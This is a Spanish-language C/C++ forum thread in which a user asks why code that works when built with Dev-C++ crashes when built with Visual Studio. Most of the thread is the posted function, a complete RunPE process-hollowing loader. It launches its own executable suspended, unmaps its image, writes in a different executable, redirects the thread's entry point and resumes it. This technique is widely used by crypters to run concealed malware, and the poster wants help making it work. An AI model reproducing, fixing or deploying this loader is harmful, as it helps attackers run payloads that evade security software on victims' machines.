Foros del Web » Programación para mayores de 30 ;) » C/C++ »

Compilar con IDE's distintos

Estas en el tema de Compilar con IDE's distintos en el foro de C/C++ en Foros del Web. Tengo un trozo de codigo que al ser compilado con DEV c++ no me causa ningun problema pero al compilarlo en VISUAL STUDIO me tira ...
  #1 (permalink)  
Antiguo 17/11/2011, 13:13
 
Fecha de Ingreso: agosto-2011
Mensajes: 17
Antigüedad: 13 años, 3 meses
Puntos: 0
Compilar con IDE's distintos

Tengo un trozo de codigo que al ser compilado con DEV c++ no me causa ningun problema pero al compilarlo en VISUAL STUDIO me tira 4 o 5 errores...los he corregido pero el programa salta con un error 0xc0000005. Por que con uno va y con otro no?
  #2 (permalink)  
Antiguo 17/11/2011, 13:27
 
Fecha de Ingreso: abril-2010
Ubicación: Rosario
Mensajes: 1.850
Antigüedad: 14 años, 7 meses
Puntos: 228
Respuesta: Compilar con IDE's distintos

Depende de muchas cosas y librerias...podrias enseñarnos el codigo o parte del codigo?? Y darnos mas detalles del error.

Saludos
  #3 (permalink)  
Antiguo 17/11/2011, 13:40
Avatar de s00rk  
Fecha de Ingreso: octubre-2010
Ubicación: Mexico
Mensajes: 238
Antigüedad: 14 años
Puntos: 48
Respuesta: Compilar con IDE's distintos

Si muchas veces es por la forma en que los IDE tienen organizadas las librerias y ahi aveces da error, ademas de que VS facilita muchas veces bastantes cosas jejee que resuelve errores y hasta te da sugerencias.

Pero bueno como dice sam90, asi como la ponemos no hay mucho que decir de porque el error jeje
  #4 (permalink)  
Antiguo 17/11/2011, 17:33
 
Fecha de Ingreso: agosto-2011
Mensajes: 17
Antigüedad: 13 años, 3 meses
Puntos: 0
Respuesta: Compilar con IDE's distintos

Código:
void RunFromMemory(char* pImage)
{
	DWORD dwWritten = 0;
	DWORD dwHeader = 0; 
	DWORD dwImageSize = 0;
	DWORD dwSectionCount = 0;
	DWORD dwSectionSize = 0;
	DWORD firstSection = 0;
	DWORD previousProtection = 0;
	DWORD jmpSize = 0;

	IMAGE_NT_HEADERS INH;
	IMAGE_DOS_HEADER IDH;
	IMAGE_SECTION_HEADER Sections[1000];

	PROCESS_INFORMATION peProcessInformation;
	STARTUPINFO peStartUpInformation;
	CONTEXT pContext;

	char* pMemory;
	char* pFile;
	char pPath[MAX_PATH];

	
		GetModuleFileName(NULL,pPath,MAX_PATH);
		char* lfMemory;
		int fSize;
		FILE* pLocalFile = fopen(pPath,"rb");
		fseek(pLocalFile,0,SEEK_END);
		fSize = ftell(pLocalFile);
		rewind(pLocalFile);
		lfMemory = (char*)malloc(fSize);
		fread(lfMemory,1,fSize,pLocalFile);
		fclose(pLocalFile);
		memcpy(&IDH,lfMemory,sizeof(IDH));
		memcpy(&INH,(void*)((DWORD)lfMemory+IDH.e_lfanew),sizeof(INH));
		free(lfMemory);
	
	DWORD localImageBase = INH.OptionalHeader.ImageBase;
	DWORD localImageSize = INH.OptionalHeader.SizeOfImage;

	memcpy(&IDH,pImage,sizeof(IDH));
	memcpy(&INH,(void*)((DWORD)pImage+IDH.e_lfanew),sizeof(INH));
		
	dwImageSize = INH.OptionalHeader.SizeOfImage;
	pMemory = (char*)malloc(dwImageSize);
	memset(pMemory,0,dwImageSize);
	pFile = pMemory;

	dwHeader = INH.OptionalHeader.SizeOfHeaders;
	firstSection = (DWORD)(((DWORD)pImage+IDH.e_lfanew) + sizeof(IMAGE_NT_HEADERS));
	memcpy(Sections,(char*)(firstSection),sizeof(IMAGE_SECTION_HEADER)*INH.FileHeader.NumberOfSections);

	memcpy(pFile,pImage,dwHeader);

	if((INH.OptionalHeader.SizeOfHeaders % INH.OptionalHeader.SectionAlignment)==0)
		jmpSize = INH.OptionalHeader.SizeOfHeaders;
	else
	{
		jmpSize = INH.OptionalHeader.SizeOfHeaders / INH.OptionalHeader.SectionAlignment;
		jmpSize += 1;
		jmpSize *= INH.OptionalHeader.SectionAlignment;
	}

	pFile = (char*)((DWORD)pFile + jmpSize);

	for(dwSectionCount = 0; dwSectionCount < INH.FileHeader.NumberOfSections; dwSectionCount++)
	{
		jmpSize = 0;
		dwSectionSize = Sections[dwSectionCount].SizeOfRawData;
		memcpy(pFile,(char*)(pImage + Sections[dwSectionCount].PointerToRawData),dwSectionSize);
		
		if((Sections[dwSectionCount].Misc.VirtualSize % INH.OptionalHeader.SectionAlignment)==0)
			jmpSize = Sections[dwSectionCount].Misc.VirtualSize;
		else
		{
			jmpSize = Sections[dwSectionCount].Misc.VirtualSize / INH.OptionalHeader.SectionAlignment;
			jmpSize += 1;
			jmpSize *= INH.OptionalHeader.SectionAlignment;
		}
		pFile = (char*)((DWORD)pFile + jmpSize);
	}


	memset(&peStartUpInformation,0,sizeof(STARTUPINFO));
	memset(&peProcessInformation,0,sizeof(PROCESS_INFORMATION));
	memset(&pContext,0,sizeof(CONTEXT));

	peStartUpInformation.cb = sizeof(peStartUpInformation);
	if(CreateProcess(NULL,pPath,NULL,NULL,0,CREATE_SUSPENDED, NULL,NULL,&peStartUpInformation,&peProcessInformation))
	{
		pContext.ContextFlags = CONTEXT_FULL;
		GetThreadContext(peProcessInformation.hThread,&pContext);
		if(INH.OptionalHeader.ImageBase==localImageBase&&INH.OptionalHeader.SizeOfImage<=localImageSize)
			VirtualProtectEx(peProcessInformation.hProcess,(LPVOID)(INH.OptionalHeader.ImageBase),dwImageSize,PAGE_EXECUTE_READWRITE,&previousProtection);
		else
		{
			NtUnmapViewOfSection(peProcessInformation.hProcess,(PVOID)(localImageBase));
                        VirtualAllocEx(peProcessInformation.hProcess,(LPVOID)(INH.OptionalHeader.ImageBase),dwImageSize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
		}
		WriteProcessMemory(peProcessInformation.hProcess,(void*)(INH.OptionalHeader.ImageBase),pMemory,dwImageSize,&dwWritten);
		WriteProcessMemory(peProcessInformation.hProcess,(void*)(pContext.Ebx + 8),&INH.OptionalHeader.ImageBase,4,&dwWritten);
		pContext.Eax = INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint;
		SetThreadContext(peProcessInformation.hThread,&pContext);
		VirtualProtectEx(peProcessInformation.hProcess,(void*)(INH.OptionalHeader.ImageBase),dwImageSize,previousProtection,0);
		ResumeThread(peProcessInformation.hThread);
	}
	free(pMemory);
}
Bueno pues este es el codigo. No entiendo por que funciona perfectamente en dev c++ y en Visual Studio no...
  #5 (permalink)  
Antiguo 17/11/2011, 17:44
 
Fecha de Ingreso: abril-2010
Ubicación: Rosario
Mensajes: 1.850
Antigüedad: 14 años, 7 meses
Puntos: 228
Respuesta: Compilar con IDE's distintos

Y que errores te dan en Visual Studio? Por ahi no te esta tomando alguna libreria o algo?
  #6 (permalink)  
Antiguo 17/11/2011, 17:55
 
Fecha de Ingreso: agosto-2011
Mensajes: 17
Antigüedad: 13 años, 3 meses
Puntos: 0
Respuesta: Compilar con IDE's distintos

No me da ningun error de compilacion.Al ejecutar la aplicacion dice " La aplicacion no se pudo iniciar correctamente ( 0xc0000005). Haga clic en aceptar para cerrarla". Y insisto que compilado en dev c++ funciona a la perfeccion xD
  #7 (permalink)  
Antiguo 17/11/2011, 19:48
 
Fecha de Ingreso: abril-2010
Ubicación: Rosario
Mensajes: 1.850
Antigüedad: 14 años, 7 meses
Puntos: 228
Respuesta: Compilar con IDE's distintos

No se la verdad. Por las funciones que usas, a lo mejor el compilador de microsoft le pone alguna restricciones al codigo...lo cual dudo, pero es lo unico que se me ocurre.

Que es lo que hace ese codigo?
  #8 (permalink)  
Antiguo 18/11/2011, 02:02
 
Fecha de Ingreso: agosto-2011
Mensajes: 17
Antigüedad: 13 años, 3 meses
Puntos: 0
Respuesta: Compilar con IDE's distintos

Pues carga algo directamente desde la memoria.Tiene que haber alguna forma de que no salga ese error en visual...no puede ser que en uno vaya tan normal y en otro no. Yo personalmente no lo entiendo xD. En caso de que no pueda hacerlo compilar en visual, como añado un mapa de bits como recurso en dev c++

Etiquetas: compilar, ide
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 09:19.